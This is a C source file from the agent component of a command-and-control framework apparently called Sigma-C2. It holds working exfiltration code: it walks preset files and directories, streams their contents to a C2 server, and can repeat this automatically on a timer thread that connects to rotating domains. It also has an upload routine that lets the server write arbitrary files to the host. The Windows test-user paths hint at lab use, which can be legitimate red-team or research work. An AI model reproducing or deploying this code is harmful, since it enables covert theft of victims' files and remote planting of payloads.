Sigma-C2/agent/files.c

#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>

#include "config.h"

#define BUFFER_SIZE 4096

// Pre-defined list of files and folders to download
char* std_file_paths[] = {
    "C:\\Users\\Tester\\Downloads\\file1.txt",
    "C:\\Users\\Tester\\Downloads\\file2.txt",
    "C:\\Users\\Tester\\Downloads\\Testdir",
};
// Calculate amount of paths
size_t std_num_files = sizeof(std_file_paths) / sizeof(std_file_paths[0]);

void processFile(Transport* transport, char* filepath, char* buffer) {
    FILE* file = fopen(filepath, "rb");
    if (!file) {
        perror("Error opening file");
        return;
    }

    size_t bytes_read;
    while ((bytes_read = fread(buffer, 1, BUFFER_SIZE, file)) > 0) {
        if (transport->send(transport->handle, buffer, bytes_read) <= 0) {
            printf("Error sending file data\n");
            fclose(file);
            return;
        }
    }
    fclose(file);
    printf("File transfer complete: %s\n", filepath);
}

void sendFilesHelper(Transport* transport, char** paths, size_t num_paths, char* buffer) {
    for (size_t i = 0; i < num_paths; ++i) {
        char* filepath = paths[i];
        struct stat file_stat;
        if (stat(filepath, &file_stat) != 0) {
            printf("Path does not exist: %s\n", filepath);
            continue;
        }
        if (S_ISDIR(file_stat.st_mode)) {
            printf("Processing directory: %s\n", filepath);
            DIR* dir = opendir(filepath);
            if (!dir) {
                perror("Error opening directory");
                continue;
            }
            struct dirent* entry;
            while ((entry = readdir(dir)) != NULL) {
                if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0) {
                    continue;
                }
                char full_path[1024];
                snprintf(full_path, sizeof(full_path), "%s\\%s", filepath, entry->d_name);
                char* sub_paths[] = { full_path };
                sendFilesHelper(transport, sub_paths, 1, buffer);
            }
            closedir(dir);
        } 
        else {
            char response[32];
            int n = transport->recv(transport->handle, response, sizeof(response) - 1);
            if (n <= 0 || strncmp(response, "SEND_METADATA", n) != 0) {
                printf("Error: Expected SEND_METADATA, got: %.*s\n", n, response);
                return;
            }

            long filesize = file_stat.st_size;
            char metadata[1024];
            snprintf(metadata, sizeof(metadata), "%ld|%s", filesize, filepath);
            printf("Sending metadata: %s\n", metadata);
            if (transport->send(transport->handle, metadata, strlen(metadata)) <= 0) {
                printf("Error sending metadata\n");
                continue;
            }

            n = transport->recv(transport->handle, response, sizeof(response) - 1);
            if (n <= 0 || strncmp(response, "SEND_DATA", n) != 0) {
                printf("Error: Expected SEND_DATA, got: %.*s\n", n, response);
                return;
            }

            processFile(transport, filepath, buffer);

            n = transport->recv(transport->handle, response, sizeof(response) - 1);
            if (n <= 0) {
                printf("Error receiving next instruction\n");
                return;
            }
            if (strncmp(response, "END", n) == 0) {
                printf("Server requested end of transfer\n");
                return;
            } else if (strncmp(response, "NEXT", n) != 0) {
                printf("Error: Expected NEXT or END, got: %.*s\n", n, response);
                return;
            }
        }
    }
}

void SendFiles(Transport* transport, char* customFilepaths[], size_t customNumFiles) {
    char buffer[BUFFER_SIZE];
    char** paths = (customFilepaths != NULL) ? customFilepaths : std_file_paths;
    size_t count = (customNumFiles > 0) ? customNumFiles : std_num_files;

    char init_message[64];
    snprintf(init_message, sizeof(init_message), "%s~FILE", agentID);
    if (transport->send(transport->handle, init_message, strlen(init_message)) <= 0) {
        printf("Error sending %s\n", init_message);
        return;
    }
    printf("Sent initiation: %s\n", init_message);

    sendFilesHelper(transport, paths, count, buffer);

    if (transport->send(transport->handle, "ENDTRANSFER", strlen("ENDTRANSFER")) <= 0) {
        printf("Error sending end-of-transfer marker\n");
    }
    printf("End-of-transfer marker sent\n");
}

#if AUTO_FILES
    DWORD WINAPI FilesTimer(LPVOID lpParam) {
        printf("File sender started\n");
        while (1) {
            Sleep(filesDelay);
            Transport* transport = InitTransport(GetNextDomain(), SERVER_PORT);
            if (!transport) {
                printf("Failed to connect. Retrying...\n");
                Sleep(filesDelay);
                continue;
            }
            SendFiles(transport, NULL, 0);
            CleanupTransport(transport);
        }
        return 0;
    }

    void InitFileSender(void) {
        printf("Starting files timer thread\n");
        hFilesTimerThread = CreateThread(NULL, 0, FilesTimer, NULL, 0, NULL);
        if (hFilesTimerThread == NULL) {
            printf("Failed to create files timer thread.\n");
        }
    }
#endif

// Receive file from server
void UploadFile(char* result, Transport* transport, char* remote_path) {
    char buffer[BUFFER_SIZE];
    char response[32];

    // Send request for metadata
    if (transport->send(transport->handle, "SEND_METADATA", strlen("SEND_METADATA")) <= 0) {
        printf("Error sending SEND_METADATA\n");
        return;
    }

    // Receive metadata (format: "filesize|filename")
    char metadata[1024];
    int n = transport->recv(transport->handle, metadata, sizeof(metadata) - 1);
    if (n <= 0) {
        printf("Error receiving metadata\n");
        return;
    }
    metadata[n] = '\0';
    printf("Received metadata: %s\n", metadata);

    // Parse metadata
    long filesize;
    char filename[512];
    if (sscanf(metadata, "%ld|%s", &filesize, filename) != 2) {
        printf("Invalid metadata format\n");
        return;
    }

    // Open file for writing at remote_path
    FILE* file = fopen(remote_path, "wb");
    if (!file) {
        perror("Error opening file for writing");
        return;
    }

    // Send acknowledgment to start data transfer
    if (transport->send(transport->handle, "SEND_DATA", strlen("SEND_DATA")) <= 0) {
        printf("Error sending SEND_DATA\n");
        fclose(file);
        return;
    }

    // Receive and write file data
    long total_bytes_received = 0;
    size_t bytes_received;
    while (total_bytes_received < filesize && 
           (bytes_received = transport->recv(transport->handle, buffer, BUFFER_SIZE)) > 0) {
        if (fwrite(buffer, 1, bytes_received, file) != bytes_received) {
            printf("Error writing to file\n");
            fclose(file);
            return;
        }
        total_bytes_received += bytes_received;
    }
    fclose(file);
    printf("File uploaded to: %s (%ld bytes)\n", remote_path, total_bytes_received);

    sprintf(result, "File uploaded to: %s (%ld bytes)\n", remote_path, total_bytes_received);

    // Send NEXT to indicate readiness for more or end
    if (transport->send(transport->handle, "NEXT", strlen("NEXT")) <= 0) {
        printf("Error sending NEXT\n");
        return;
    }

    // Check for end of transfer
    n = transport->recv(transport->handle, response, sizeof(response) - 1);
    if (n <= 0) {
        printf("Error receiving response\n");
        return;
    }
    response[n] = '\0';
    if (strcmp(response, "END") == 0) {
        printf("Server ended transfer\n");
        if (transport->send(transport->handle, "ENDTRANSFER", strlen("ENDTRANSFER")) <= 0) {
            printf("Error sending ENDTRANSFER\n");
        }
        printf("Sent ENDTRANSFER\n");
    } else {
        printf("Expected END, got: %s\n", response);
    }

}